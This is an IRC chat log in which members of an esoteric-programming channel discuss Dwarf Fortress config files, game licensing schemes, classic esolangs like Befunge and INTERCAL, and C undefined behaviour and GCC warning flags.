19:28:48 -!- cheater99 has quit (Ping timeout: 240 seconds).
19:28:48 <Vorpal> elliott, actually parts are quite straight-forward in df
19:28:52 <NotTheRealJabber> Believe it or not
19:28:53 <ais523> Vorpal: for instance, I wrote this today: http://tasvideos.org/GameResources/DOS/NetHack.html#TimeSystemAbuses
19:29:12 <elliott> ais523: OK, you can't read the code, but you can clearly modify it, although I'm not sure how
19:29:14 <ais523> most games are pretty hard to analyse in that level of detail
19:29:14 <Vorpal> elliott, that is because as far as I can tell df behaviour is pretty much controlled by a text config files
19:29:17 <elliott> perhaps it has an API
19:29:18 <Vorpal> elliott, the moding that is
19:29:24 <elliott> hm, really
19:29:24 <elliott> ?
19:29:28 -!- cheater99 has joined.
19:29:29 <elliott> must be very in-depth files then
19:29:46 <Vorpal> elliott, yeah the definition of what a dwarf is is 400 lines it seems
19:29:55 <ais523> I'm relatively happy with Neverwinter Nights; it's half open source in that it's an engine + a game written in that engine, the engine is closed-source but the files it actually runs are visible-source
19:30:00 <Vorpal> elliott, lines like:
19:30:02 <Vorpal> [BODY_DETAIL_PLAN:STANDARD_MATERIALS]
19:30:02 <Vorpal> [BODY_DETAIL_PLAN:STANDARD_TISSUES]
19:30:06 <elliott> heh
19:30:08 <ais523> (i.e. no redistribution rights, but you can look at it and change it locally)
19:30:09 <Vorpal> [BODY_DETAIL_PLAN:FACIAL_HAIR_TISSUES]
19:30:10 <Vorpal> [BODY_DETAIL_PLAN:STANDARD_HEAD_POSITIONS]
19:30:18 <Vorpal> heh this is extreme:
19:30:21 <Vorpal> [USE_MATERIAL_TEMPLATE:SINEW:SINEW_TEMPLATE]
19:30:21 <Vorpal> [TENDONS:LOCAL_CREATURE_MAT:SINEW:200]
19:30:21 <Vorpal> [LIGAMENTS:LOCAL_CREATURE_MAT:SINEW:200]
19:30:23 <ais523> "standard head positions" sounds like like df
19:30:28 <elliott> ais523: Asteroids II comes with full source code and rights to distribute changed versions to those granted the same license
19:30:33 <elliott> ais523: (and rights to distribute /patches/ to anyone)
19:30:41 <elliott> :P
19:30:49 <Vorpal> a comment says it has sinew only for wounds simulation to work out
19:30:51 <ais523> elliott: hmm, that's pretty close to open source except with the existing-license requirement, I like it
19:30:52 <Vorpal> very very df
19:30:56 -!- me2ufool has joined.
19:31:00 <Vorpal> elliott, ooh nails are mentioned in there!
19:31:06 <me2ufool> hi
19:31:10 <ais523> in fact I was wondering about something similar myself if I ever needed to make money from a program
19:31:11 <ais523> hi me2ufool
19:31:12 <elliott> ais523: and you can also sell your changed versions
19:31:19 <elliott> so long as you make sure the buyer owns the original game
19:31:26 <ais523> elliott: that's typical of open source, isn't it?
19:31:29 <elliott> ais523: but all distributed changes must be "open source"
19:31:38 <ais523> although very unusual for commercial, I think
19:31:40 <elliott> ais523: except, you can choose one of two licenses
19:31:56 <elliott> ais523: either you can release your changes under what essentially amounts to the GPL, or the same license I'm talking about
19:32:18 <elliott> i.e., you can make your own extensive commercial mod of it, as long as you use the same license
19:32:22 <elliott> or you can just release it "normally"/
19:32:26 <elliott> s/\/$//
19:32:30 <elliott> ais523: now the two issues with this are
19:32:35 <elliott> (1) Asteroids II doesn't yet exist, and
19:32:35 <Vorpal> elliott, but how do you as the original author make money of it?
19:32:38 <elliott> (2) Asteroids II doesn't yet exist.
19:32:43 <elliott> Vorpal: by selling it
19:32:50 <elliott> the source is available only to those who purchase it
19:33:03 <Vorpal> elliott, but one could make a mod that patches pretty much every line a bit then release that under the GPL variation?
19:33:10 <ais523> elliott: err, being nonexistent is a little ridiculous there
19:33:15 <Vorpal> so you would in effect sell just one copy
19:33:21 <elliott> ais523: well, don't blame me, blame Phantom_Hoover!
19:33:24 <Vorpal> elliott, or did I miss something?
19:33:29 <NotTheRealJabber> Vorpal, same as closed-source?
19:33:31 <ais523> Vorpal: the whole point of it being a "patch" is that you can't reconstruct the original
19:33:32 <elliott> Vorpal: well, possibly, but i find that incredibly unlikely... and there'll be some sort of reasonability clause in the patches
19:33:35 <ais523> it's not a patch any more if you can
19:33:38 <elliott> right, what ais523 said
19:33:48 <Vorpal> ais523, yes well, what about diff context.
19:33:48 <elliott> you can't have a bunch of -s followed by the original lines, and then a massively changed version
19:33:59 <elliott> Vorpal: it depends on your intent, etc.
19:34:19 <elliott> Vorpal: ais523: (this arose after I tried to figure out how a games company could be even more Good(TM) than Introversion)
19:34:39 <elliott> oh, the third problem with Asteroids II is that it's not written in a language anybody knows or has a compiler for. :p
19:34:45 <ais523> elliott: I don't really believe in good/evil companies, individual companies tend to be so inconsistent in the matter
19:35:10 <ais523> Vorpal: I'd imagine people like romhackers would go to huge lengths to make sure that the diffs didn't contain context at all
19:35:19 <Vorpal> elliott, hm a bit tricky to define that. Okay it is clear cut if you do it as one patch. But what if there are a number of separate patches (possibly different authors) that lets you reconstruct the complete source due to covering it all (or so much of it that the rest would be trivial to implement)
19:35:44 <Vorpal> ais523, hm then it is difficult to be sure that it applies correctly
19:35:46 <elliott> Vorpal: you don't have to make a program that can tell you if the patch is illegal or not, that's what judges are for
19:35:59 <ais523> Vorpal: release a hash of the modified version
19:36:06 <elliott> ais523: context in patches would of course be allowed
19:36:07 <Vorpal> hm
19:36:18 <elliott> ais523: but really, the most convenient thing to do would be to only post it in a place where you can reasonably assume everyone owns the game
19:36:24 <elliott> ais523: e.g., in some "purchasers only" forum
19:36:31 <elliott> then you can post as much context as you like
19:36:55 <Vorpal> ais523, well what if someone wants to apply two different patches. A lot of work then. I guess you could reconstruct each separately locally and create a context patch and then try to apply them. Then make a context free one of the result
19:36:57 <Vorpal> or such
19:37:22 <Vorpal> elliott, that might work better indeed
19:37:39 <ais523> Vorpal: do you know what happens if you try to apply two different patches to machine code?
19:37:57 <NotTheRealJabber> elliott, don't forget to breathe
19:38:24 <Vorpal> ais523, unpredictable results I would imagine!
19:38:58 -!- NotTheRealJabber has changed nick to Sgeo.
19:39:25 <elliott> ais523: people manage it with minecraft
19:39:27 <elliott> except it's java bytecode
19:39:39 <Vorpal> elliott, and it is generally problematic if in the same class file
19:39:45 <ais523> elliott: java bytecode isn't so full of literal offsets, IIRC
19:39:59 <zzo38> Even if I intend to earn money from a program, I would still probably just license it under the GPL, and put some trademark restrictions, printed documentation, and so on.
19:40:01 <elliott> Vorpal: eh, better light/grass works with mipmapping
19:40:08 <elliott> they share classes
19:40:13 <elliott> (this was even before it used modloader)
19:40:24 <Vorpal> elliott, they touch the same .class? How do you do it without modloader then
19:40:32 <Vorpal> manually creating a combined version?
19:40:47 <elliott> Vorpal: you copy the mipmapping class in, and then use the better light/grass *patcher*
19:40:48 -!- azaq23 has joined.
19:40:49 <elliott> which patches the bytecode
19:41:14 <Vorpal> elliott, another df definition example:
19:41:16 <Vorpal> [ATTACK:SCRATCH:CHILD_TISSUE_LAYER_GROUP:BY_TYPE:GRASP:BY_CATEGORY:FINGER:NAIL]
19:41:16 <Vorpal> [ATTACK_SKILL:GRASP_STRIKE]
19:41:26 <Vorpal> [.. several lines cut out here ... ]
19:41:30 <elliott> :D
19:41:47 <zzo38> I would ensure the trademark license allows using these trademarks for compatibility reasons, in case you live in a country which does not permit it by fair use or that the trademark laws are changed later on to deny this type of fair use, to ensure that my trademarks still remain fair.
19:41:53 <Vorpal> elliott, oh and comments seem to be any line *not* starting with [ as the first non-whitespace
19:42:30 <ais523> Vorpal: perhaps ]\n ... \n[ is the comment marker?
19:42:31 * Sgeo wonders if it's safe to remove a key from this keyboard
19:42:52 <elliott> 2010-02-04 20:00:00 :elliott!~elliott@unaffiliated/elliott PRIVMSG :hello, world!
19:42:53 <elliott> guess the format
19:43:04 <pikhq> zzo38: So, in sum, "don't be an asshole" would be your policy.
19:43:15 <elliott> pikhq: reminds me of JSON
19:43:19 <Vorpal> ais523, don't think so... Since there is a comment before the first [ in some files, and none in other ones
19:43:37 <Vorpal> ais523, and it would be weird to start a file with a end comment marker
19:43:39 <Vorpal> an*
19:43:44 <ais523> Vorpal: that makes a lot of sense, actually
19:43:48 <elliott> Gregor: as someone presently eating weetabix, I must kill you
19:43:56 <elliott> <Vorpal> ais523, and it would be weird to start a file with a end comment marker
19:43:59 <elliott> literate dwarfing
19:44:03 <Vorpal> elliott, XD
19:44:12 <ais523> I'm pretty sure I had plans for a "comment backwards to start of file" pp-directive in Overload
19:44:15 <Vorpal> elliott, there aren't enough comments to claim it as literate
19:44:34 <ais523> in fact, there were something like 32 or 64 different sorts of comment markers, they contained a bitfield with options for how far they commented in each direction
19:44:40 <ais523> and precedence, etc
19:44:51 <Vorpal> ais523, heh.
19:44:53 <ais523> so you could use a more urgent sort of comment if there were things that looked like comment markers in your comments
19:45:02 <elliott> :D
19:45:02 <ais523> I forget the details, although I was aware at the time that it was insane
19:45:15 <Vorpal> ais523, now I know why overload is still vapor ware. You spent too long on designing comments to get anywhere
19:45:17 <Vorpal> XD
19:45:28 <ais523> Vorpal: oh, the whole thing was probably inherently unworkable
19:45:30 <elliott> hypothesis: if someone's first five languages were esolangs, they'd turn out like ais523
19:45:53 <ais523> but it's a real ancestor of underload (underload is simply one of the many possible tarpits that's a restriction of overload)
19:46:02 <Vorpal> elliott, you mean he learned an esolang before any main stream language?
19:46:11 <Vorpal> elliott, or that he created esolangs first
19:46:21 <elliott> Vorpal: no, he didn't, but he's like someone who did (the former)
19:46:26 <Vorpal> hah
19:46:32 <ais523> Vorpal: well, I don't think my first few languages were esolangs, but at least one was moderately insane
19:46:38 <ais523> (a database scripting language called PAL)
19:46:41 <elliott> ais523: I've been trying to figure out what the "quintessential esolangs" are in my opinion
19:46:55 <elliott> ais523: brainfuck, INTERCAL, Underload, Unlambda are what I've thought of so far
19:46:58 <elliott> maybe those are the Big Four
19:47:08 <elliott> *and Unlambda
19:47:12 <ais523> INTERCAL isn't on that list for me, it's on a different list
19:47:12 <Vorpal> elliott, befunge is pretty big too
19:47:16 <elliott> oh, yes, befunge
19:47:17 <ais523> along with Befunge
19:47:20 <elliott> ais523: brainfuck, INTERCAL, Underload, Unlambda and Befunge are what I've thought of so far
19:47:23 <elliott> ais523: really?
19:47:25 <elliott> what list is that?
19:47:34 <elliott> I'm pretty much listing the "classics" here
19:47:45 <elliott> (yes, I think Underload counts as a classic -- I'm surprised it took until 2006 to invent it)
19:47:46 <ais523> well, there are two ways an esolang can become classic
19:47:57 <ais523> computational interest, like brainfuck/underload/unlambda
19:48:01 <Vorpal> elliott, presumably non-tarpits. Neither intercal nor befunge are tarpits really
19:48:22 <ais523> and general insanity that catches the minds of a great number of people, like intercal, befunge, brainfuck
19:48:29 <ais523> I'm happy to put brainfuck in both lists there
19:48:30 <elliott> heh, a duplicate there
19:48:44 <ais523> I suppose LOLcode should be in the second list too, much as I'm loathe to put it anywhere
19:48:46 <elliott> ais523: well, if someone asked me "I want to learn esolangs; which should I look at first?" I'd answer "brainfuck, INTERCAL, Underload, Unlambda and Befunge(-93)"
19:48:51 <elliott> (-98 isn't a classic)
19:49:00 <Vorpal> ais523, arguably compiling befunge is computationally interesting (for some definitions of computationally).
19:49:03 <ais523> I think -98 is inherently more awesome than -93, though
19:49:30 <zzo38> elliott: OK that is not a bad choice I guess
19:49:42 <elliott> ais523: well, -93 is more of a tarpit
19:49:44 <elliott> and more of a classic
19:49:51 <ais523> -93 isn't really a tarpit
19:49:52 <elliott> I wouldn't tell someone to look at -98 before -93, that's just silly
19:50:00 <ais523> in fact, being not a tarpit is the whole point of Befunge, I find
19:50:00 <elliott> ais523: it's more of a tarpit than -98!
19:50:10 <elliott> -98 is amusing but it's not more awesome than -93 I don't think
19:50:12 <ais523> thus -98 is befungier than -93
19:50:22 <ais523> -93 is annoyingly limited, -98 is almost practical
19:50:27 <elliott> http://catseye.tc/projects/befunge93/eg/wumpus.bf <-- this is why -93 is a classic
19:50:28 <pikhq> -93 is a non-Turing tarpit.
19:50:29 <pikhq> :)
19:50:38 <ais523> elliott: I'd say it's the program itself that's awesome there
19:50:41 <Vorpal> elliott, 1) as ais said 93 is no tarpit. 2) where does it say it has to be tarpit-ish to be an esolang?
19:50:45 <elliott> ais523: I don't care what you think, you're wrong :P
19:50:48 <ais523> for managing to do that despite the limits of -93
19:51:01 <elliott> ais523: that's like saying brainfuck isn't an esolang, just every brainfuck program is
19:51:10 <Vorpal> elliott, would you actually suggest learning INTERCAL btw?
19:51:20 <elliott> Vorpal: no, but I'd suggest looking at it
19:51:23 <elliott> and reading the manual, probably
19:51:28 <ais523> Vorpal: I'd suggest it, especially modern INTERCAL as opposed to INTERCAL-72
19:51:37 <ais523> although reading the original manual first is probably better to get the attitude right
19:51:39 <elliott> ais523: the manual is the main reason to look at INTERCAL
19:51:40 <Vorpal> elliott, I suspect you could be held legally liable for any insanity caused by suggesting someone learning INTERCAL!
19:51:41 <zzo38> Vorpal: I would suggest it. But it is OK to write only one program with it if that is what you want to do.
19:51:42 <elliott> I don't think INTERCAL is really worth learning
19:51:49 <elliott> learning /about/, yes, but not learning
19:51:53 <Vorpal> elliott, ah
19:52:00 <ais523> elliott: a pity, really; the control flow model in modern INTERCAL is really interesting
19:52:02 <elliott> heck, I can't even write non-trivial BF programs
19:52:08 <ais523> in fact, I sometimes find myself wishing for it in real languages
19:52:15 <elliott> but _writing programs_ in BF is boring
19:52:20 <Vorpal> elliott, can you write a non-trivial befunge program?
19:52:28 <ais523> if only INTERCAL had remotely sane expressions, in addition to what it actually has, and some sort of string handling, I think it'd be a practical lang
19:52:32 <Vorpal> elliott, also yeah the fun part with BF is writing optimising compilers
19:52:42 <zzo38> The features of INTERCAL are not really completely different from other programming languages, but they are different from most. Three of the features of INTERCAL are in dc as well. And some machine has something like the INTERCAL select operator.
19:52:50 <elliott> Vorpal: no, I don't know Befunge at all
19:52:53 <Vorpal> ais523, with remotely sane expressions it wouldn't be INTERCAL at all
19:52:59 <elliott> probably Underload is my best esolang, and I'm not very good at that, either
19:53:03 <ais523> zzo38: indeed, it failed slightly at its goal, but it has other goals
19:53:04 <elliott> I've never been one for writing substantial esolang programs
19:53:15 <ais523> Vorpal: well, INTERCAL isn't so much about being difficult, as about being different
19:53:19 <Vorpal> elliott, so you are more an implementer of esolangs?
19:53:20 <pikhq> zzo38: Well, dc is definitely a tarpit. :)
19:53:21 <Phantom_Hoover> elliott, Befunge isn't terribly complex.
19:53:26 <elliott> Vorpal: well, "enthusiast"
19:53:34 <ais523> sometimes that means being difficult for the sake of it, but ideally it'd be better and still find its own niche
19:53:35 <pikhq> Phantom_Hoover: Someone hasn't seen -98.
19:53:48 <ais523> or -108!
19:53:59 <Vorpal> pikhq, uh. That is complex to implement, but not really complex to code in
19:54:00 <zzo38> pikhq: The features I refer to are: STASH RETRIEVE RESUME
19:54:00 <ais523> Vorpal: how are you doing on that spec, btw? presumably it should be -111 by now
19:54:01 <Phantom_Hoover> pikhq, yes, but even then you can get the basics easily.
19:54:05 <ais523> or shall we just call it -11x
19:54:20 <Vorpal> ais523, you missed out the developments last spring?
19:54:21 <elliott> #define PUSH(i) ...
19:54:21 <elliott> #ifdef NDEBUG
19:54:21 <elliott> #define INVALID(s)
19:54:21 <elliott> #else
19:54:21 <elliott> #define INVALID(s) fprintf(stderr, "\n*** Invalid code, aborting: %s\n", s); exit(1);
19:54:21 <elliott> #endif
19:54:23 <elliott> #define TYPE_0 T_QUOT
19:54:25 <elliott> #define STR_0 "(:aSS):aSS"
19:54:28 <elliott> #define STR_LEN_0 10
19:54:29 <elliott> quo_0 :
19:54:31 <elliott> PUSH(1) DUPLICATE ENCLOSE OUTPUT OUTPUT
19:54:33 <elliott> return;
19:54:35 <elliott> yay
19:54:37 <elliott> oops, slight flood
19:54:40 <ais523> zzo38: it's a pity dc doesn't have ignore, or we could run an ignorret test on it to see what happened
19:54:41 <elliott> ais523: cpressey came in, decided to make his own Befunge-111 because he hates everyone, started doing it
19:54:42 <Vorpal> ais523, with cpressy starting on a new more stringent definition.
19:54:46 <elliott> then gave up after Vorpal complained it was so different from -98
19:54:53 <Vorpal> elliott, no I didn't really...
19:54:59 <elliott> well, that's why he gave up. :p
19:54:59 <ais523> elliott: ouch, I'd like to have seen it
19:55:04 <elliott> among other reasons, I guess
19:55:06 <elliott> ais523: it might still be up
19:55:09 <Vorpal> elliott, I suggested it was an awesome idea but maybe it wasn't befunge any longer
19:55:12 <Vorpal> iirc
19:55:16 <ais523> Vorpal: like Perl 6?
19:55:24 <zzo38> I have once when writing a QBASIC program, wanted to have something like the DO RESUME #2 in INTERCAL, but QBASIC has the RETURN command is allowed to return to a specific label, so I made it return to the next line and then do normal RETURN after that.
19:55:31 <elliott> ais523: possibly, one of his three latest fungoid-esques are descendants of -111
19:55:32 <Vorpal> ais523, more different than that actually
19:56:19 <Vorpal> ais523, anyway what we need is a technical corrigendum and clarification to 98 really
19:56:25 <elliott> we don't even vaguely need that
19:56:26 <zzo38> At least two of my esolangs have been written about by Japanese people.
19:56:26 <Vorpal> that would go a long way
19:56:30 <elliott> nobody but you thinks we need that at all :P
19:56:30 <Vorpal> elliott, oh?
19:56:33 <ais523> I haven't been keeping track of catseye recently
19:56:37 <zzo38> (Note: I am not Japanese people)
19:56:49 <Vorpal> elliott, well Deewiant probably agrees or have agreed with me when working on mycology
19:56:53 <ais523> zzo38: RESUME #n is quite common in languages; it's RESUME .5 that makes the command interesting
19:56:56 <elliott> ais523: http://catseye.tc/lab/Befunge-111-Specification-DRAFT.txt
19:57:06 <elliott> Vorpal: people suck at interpreting the spec != we need a new spec
19:57:14 <elliott> I'd say the difficulty of interpreting it is a feature
19:57:15 <ais523> yay, at least it isn't HTML masquerading as XHTML
19:57:22 <zzo38> ais523: Yes, and dc can do that too
19:57:22 <Vorpal> elliott, uh catseye couldn't interpret some parts of it any longer :P
19:57:27 <ais523> elliott: well, ambiguities in the spec can do with fixing
19:57:28 <elliott> Vorpal: more feature
19:57:32 <Vorpal> elliott, I rest my case
19:57:38 <elliott> ais523: cpressey broke half his site like that because pikhq bugged Gregor about him sending the wrong headers for about 5 years
19:57:42 <elliott> pre-emptive, sort of thing
19:57:52 <zzo38> (So can TeXnicard; it is somewhat based on dc)
19:58:06 <elliott> ais523: without me he wouldn't have had the .htaccess magic to get _some_ of the old html stuff working, anyway :P
19:58:11 <elliott> not my fault he forgets >:D
19:58:16 <Vorpal> <elliott> ais523: cpressey broke half his site like that because pikhq bugged Gregor about him sending the wrong headers for about 5 years <-- wait, if pikhq bugged Gregor then why did cpressey get affected?
19:58:36 <elliott> it was more inspiration, I think. or preemptive avoidance of bugging.
19:59:07 <zzo38> At least in my computer, I can just use C-V text/html
19:59:31 <ais523> zzo38: most browsers don't have that feature, although I was looking for it when that happened
19:59:34 <zzo38> (I use C-V to override the content type heading sent by the server)
19:59:45 <ais523> do you actually use it enough for it to be bound to a single control-letter combination?
19:59:45 <Vorpal> elliott, what I have done in the past is set up the extension .xhtml with the right mime type
19:59:46 <elliott> I don't see how http://catseye.tc/lab/Befunge-111-Specification-DRAFT.txt isn't Befunge
20:00:02 <Vorpal> elliott, indeed that one is
20:00:03 <elliott> it seems pretty faithful to me
20:00:04 <zzo38> ais523: Probably it is possible to make a extension for Firefox and maybe even other programs too, that you can do like that.
20:00:13 <Vorpal> elliott, one of the previous versions was not
20:00:15 <ais523> elliott: it breaks fingerprint nesting (as in, tame fingerprints are impossible by that definition if more than one exists), but that's probably just a bug
20:00:30 <zzo38> ais523: Yes, although it is control-shift-letter combination.
20:00:47 <ais523> oh, by C-V you mean case sensitive V (so caps lock or shift)?
20:00:58 <ais523> I didn't realize keyboards even distinguished the two
20:01:06 <zzo38> ais523: Yes, all key combinations are case-sensitive in this program.
20:01:28 <zzo38> (And C-v is just paste from clipboard)
20:01:38 <Vorpal> they generally are but usually you seem to list them with shift then
20:02:34 <zzo38> I also use it when downloading a attached picture, some forum software marks it as application/octet-stream so I tell it to override the type to image/jpeg or image/png instead, so that it can be viewed.
20:02:43 <elliott> I wish Ctrl+x/c/v were more common in Unix programs... the problem is that Ctrl+C is overloaded
20:02:44 <ais523> zzo38: are they sensitive to num lock and scroll lock too?
20:02:46 <Deewiant> Based on the definition of "unbounded" it sounds like interpreters should terminate if an integer over-/underflows
20:02:52 <elliott> (the other two are as well, but much less often used)
20:02:56 <ais523> elliott: don't think along those lines, you'll end up inventing the Mac
20:03:06 <elliott> ais523: *inventing OS X
20:03:11 <ais523> Deewiant: yep, but they get to choose what the range is
20:03:19 <zzo38> ais523: Not to scroll-lock, but the numpad keys effects depend on num-lock on or off.
20:03:20 <elliott> ais523: I don't think separate control/command keys are a good idea; only for backwards-compatibility
20:03:24 <ais523> elliott: I'm thinking more of separate command/control, which is a mac thing rather than an OS X thing
20:03:25 <elliott> the solution is to change ^C to some other binding :)
20:03:27 <ais523> although it's hard to tell
20:03:35 <elliott> ais523: it's OS X; before that, Control did not much of anything
20:03:37 <elliott> I think it was just an extra modifier
20:03:58 <Deewiant> ais523: Sure, but if you implement things as 32-bit ints you're expected to abort() as soon as one wraps around
20:04:12 <ais523> Deewiant: that would make sense, really
20:04:15 <ais523> C does the same thing
20:04:20 <elliott> ...no it doesn't
20:04:25 <Vorpal> ais523, what
20:04:27 <ais523> in that signed overflow is undefined behaviour
20:04:33 <Vorpal> XD
20:04:33 <elliott> is underflow?
20:04:35 <Vorpal> true
20:04:36 <ais523> yep
20:04:39 <elliott> haha
20:04:43 <elliott> well, nobody writes in C anyway
20:04:46 <zzo38> Maybe the Control key could also be used in some Telnet program or something, in order to send a control code. In OS X, it is UNIX, so Control-C will interrupt, and so on, same as UNIX.
20:04:51 <elliott> they write in C-plus-extra-semantics
20:04:51 <ais523> in general it tends to cause wrapping on modern systems, but crashing is entirely legal
20:04:51 <Vorpal> elliott, use unsigned to get defined behaviour
20:04:53 <elliott> such as, overflow working
20:05:03 <elliott> I would love a strictly error-checking C compiler
20:05:03 <ais523> on a DSP, saturating at the max or min value would be the most likely behaviour
20:05:10 <elliott> bound-checking, over/underflow-checking
20:05:13 <ais523> and C's used to write those too
20:05:16 <elliott> all that silly stuff
20:05:17 <Deewiant> Call it undefined then, but demanding crashing is a bit of a downer
20:05:17 <Vorpal> elliott, uh actually gcc will use the overflow freedom to optimise loop conditions
20:05:23 <elliott> Vorpal: haha
20:05:27 <zzo38> elliott: Doesn't GNU C can do strict error checking if you tell it do so?
20:05:41 <ais523> elliott: indeed, if you start with a signed integer and only ever increment it, gcc will assume it never goes negative
20:05:46 <Vorpal> elliott, it warns you if it detects unsafe cases.
20:05:46 <ais523> and optimise away conditions like x >= 0
20:05:56 <Vorpal> sometimes
20:06:08 <elliott> zzo38: not bounds checking
20:06:09 <ais523> zzo38: it has -ansi -pedantic, but it can't catch everything, it just checks a bit more strictly than normal
20:06:19 <elliott> that would make any out-of-bounds access fail
20:06:21 <elliott> at runtime, obviously
20:06:23 <ais523> to be precise, -pedantic issues warnings wherever the standard requires them
20:06:26 <Vorpal> ais523, I meant -Wstrict-overflow or whatever it is called
20:06:34 <ais523> Vorpal: I have no idea on that one
20:06:47 <elliott> the /standard/ defines /warnings to be emitted/?
20:06:48 <elliott> *sigh*
20:06:59 <Vorpal> ais523, iirc -Wall enables it
20:07:00 <zzo38> ais523: Then in the next version of GCC they have to fix it so that -ansi -pedantic will catch everything and make only standard C programs working
20:07:03 <ais523> elliott: no, it defines "diagnostics"
20:07:11 <Vorpal> ah yes man page says -Wall includes -Wstrict-overflow=1
20:07:11 <elliott> heh
20:07:11 <ais523> and it's up to the implementer to decide what they are
20:07:15 <elliott> zzo38: impossible
20:07:18 <elliott> you can't detect all out-of-bounds accesses
20:07:22 <elliott> only at runtime
20:07:24 <ais523> but it's normally interpreted as diagnostic = warning or error
20:07:45 <Vorpal> -Wstrict-overflow=1
20:07:46 <Vorpal> Warn about cases which are both questionable and easy to avoid. For example: "x + 1 > x"; with -fstrict-overflow, the compiler will simplify this to 1. This level of -Wstrict-overflow
20:07:46 <Vorpal> is enabled by -Wall; higher levels are not, and must be explicitly requested.
20:07:54 <Vorpal> then it goes up to level 5
20:08:01 <Vorpal> warning about more and more stuff it optimises
20:08:05 <ais523> I should make sure that's at 5 by default to see what happens
20:08:11 -!- ais523 has quit (Read error: Connection reset by peer).
20:08:22 <elliott> there should be a -Wabsolutely-all
20:08:25 <zzo38> Also, in GCC, I cannot control the warning about casting numbers to pointers (or vice versa) without cast. I want to make that warning into an error (without making all warnings into errors), but I cannot do that.
20:08:32 <elliott> that sets every single warning to maximum levels
20:08:37 -!- ais523 has joined.
20:08:43 <Vorpal> ais523, uh level 5 is "Also warn about cases where the compiler reduces the magnitude of a constant involved in a comparison. For example: "x + 2 > y" will be simplified to "x + 1 >= y"."
20:08:47 <ais523> did that peer reset my connection again?
20:08:54 <Vorpal> ais523, yes
20:09:06 <Phantom_Hoover> elliott, so any warning replaces your screen with the warning in Impact while it blares it from your speakers?
20:09:10 <ais523> I'm wondering who that peer is, and what the reset pattern is
20:09:19 <elliott> Phantom_Hoover: YES.
20:09:20 <zzo38> I think what it should do, is if the executable is named "cc" instead of "gcc" then it will imply all the options to specify working exactly by the C standard as much as possible.
20:09:31 <elliott> ais523: it's ME
20:09:51 <elliott> ais523: btw, maintaining a non-trivial C program as a Haskell string: brilliant idea?
20:09:51 <ais523> hmm, x + 1 >= y is always a legal replacement for x + 2 > y, isn't it (although not vice versa)?
20:09:55 <elliott> unlines [ "#define PUSH(i) ..."
20:09:55 <elliott> , "#ifdef NDEBUG"
20:09:55 <elliott> , "#define INVALID(s)"
20:09:55 <elliott> , "#else"
20:09:55 <elliott> , "#define INVALID(s) fprintf(stderr, \"\\n*** Invalid code, aborting: %s\\n\", s); exit(1);"
20:09:56 <Phantom_Hoover> ais523, DON'T GIVE IN TO PEER PRESSURE
20:09:56 <elliott> , "#endif" ]
20:10:01 <Vorpal> elliott, I think there should be a -Wparanoid, which is like -Wextra + some other flags and just exludes those that give like 80% false positives
20:10:11 <ais523> oh, the warning's in case x was MAXINT-1, in which case they'd be different in 2's-complement
20:10:24 <elliott> Vorpal: -Wabsolutely-everything
20:10:27 <Phantom_Hoover> Vorpal, what kind of false positives
20:10:33 <Vorpal> ais523, indeed
20:10:35 <elliott> ais523: hmm, I really want to write an anal C interpreter now
20:10:35 <ais523> elliott: don't some of the warning flags conflict?
20:10:39 <elliott> ais523: that maintains its own memory array
20:10:42 <pikhq> Vorpal: -Wparanoid should warn every time you do something that can't be automatically proven as defined and intended behavior.
20:10:43 <ais523> at least, in something as complex as gcc, I'd expect them to
20:10:47 <elliott> errors on any out-of-bounds array access
20:10:51 <Vorpal> Phantom_Hoover, well -Wunreachable-code tends to be pretty unreliable iirc.
20:10:51 <elliott> anything undefined by the standard
20:10:51 <elliott> etc.
20:11:04 <elliott> casting function pointers and back doesn't work
20:11:05 <ais523> elliott: make pointers contain the start and length of the allocation, as well as the place they actually point to
20:11:07 <Vorpal> or hm
20:11:11 <elliott> (because the function pointers refer to indices in the function array)
20:11:11 <Vorpal> well some of those
20:11:19 <ais523> that seems to be the best way to do standards-literal bounds checking
20:11:23 <elliott> ais523: maybe, that's quite hard to do in an integral type though
20:11:27 <Vorpal> also -Wtraditional is useless generally
20:11:27 <elliott> don't pointers have to be integral?
20:11:28 <elliott> well, maybe not
20:11:38 <pikhq> elliott: Casting function pointers and back works in some cases.
20:11:38 <Vorpal> it is used to warn about K&R vs. ANSI C differences
20:11:38 <elliott> it could be a struct-type thing as long as arithmetic works
20:11:42 <elliott> ais523: zeta C did that, btw
20:11:43 <elliott> or something similar
20:11:43 <Vorpal> which is utterly useless nowdays
20:11:46 <elliott> pointers were a cons cell
20:11:52 <elliott> (c compiler for symbolics lisp machines)
20:11:57 <elliott> pikhq: hmm, standard-allowed?
20:12:13 <pikhq> elliott: If it's going through void, and going to function pointers of the right type, it's defined and works in the obvious manner.
20:12:14 <elliott> (func_t) (void *) (func_t) is allowed, right?
20:12:16 <ais523> elliott: Vorpal: fizzie: NetHack used to use "inline" as a variable name
20:12:17 <elliott> or whatever
20:12:17 <elliott> right
20:12:24 <elliott> well, casting it to the wrong function type = instant error
20:12:37 <ais523> (and I'm pinging all three of you as parts of different conversations there in a brilliant act of multitasking)
20:12:41 <elliott> is *(T *)x even valid?
20:12:43 <elliott> if x isn't (T *)
20:12:51 <fizzie> No, you can't cast a function pointer into a void *.
20:12:58 <elliott> ais523: perverse
20:13:02 <pikhq> fizzie: ?
20:13:08 <pikhq> elliott: Depends on what T is.
20:13:22 <pikhq> elliott: And what x is.
20:13:23 <ais523> elliott: yes, but only if T is unsigned char
20:13:24 * elliott writes a quasi-quoter
20:13:30 <elliott> ais523: haha
20:13:30 <ais523> or if T and x are compatible
20:13:35 <elliott> ais523: char will be signed in this, then
20:13:39 <elliott> and *(char *)x will fail
20:13:45 <elliott> but *(unsigned char *)x won't
20:13:54 <elliott> also, no OS-specific functions
20:13:57 <elliott> no read or write or sbrk or anything
20:14:04 <Vorpal> ah yes -Wuninitialized is unreliable too.
20:14:05 <elliott> every allocation must be done with malloc
20:14:30 <ais523> Vorpal: how could it not be, you'd need to solve the halting problem otherwise
20:14:36 <ais523> elliott: or calloc, or realloc?
20:14:49 <ais523> or free with a negative-sized argument?
20:14:56 <elliott> ais523: first two: indeed (those are just library functions)
20:14:59 <elliott> last one: that's not legal, surely?
20:15:06 <Vorpal> ais523, hm do you for C? Hm I guess so. Though it would be trivial to make a TC language where it does not require that
20:15:10 <ais523> it doesn't even make sense, free doesn't take a size argument
20:15:25 <elliott> oh, indeed
20:15:32 <ais523> Vorpal: only by forcing variables to be initialized at the first sign of uncertainty
20:15:39 <zzo38> How does memory allocation usually actually work?
20:16:05 <zzo38> It has to store the size somewhere, and tell somewhere which memory is used and which is free.
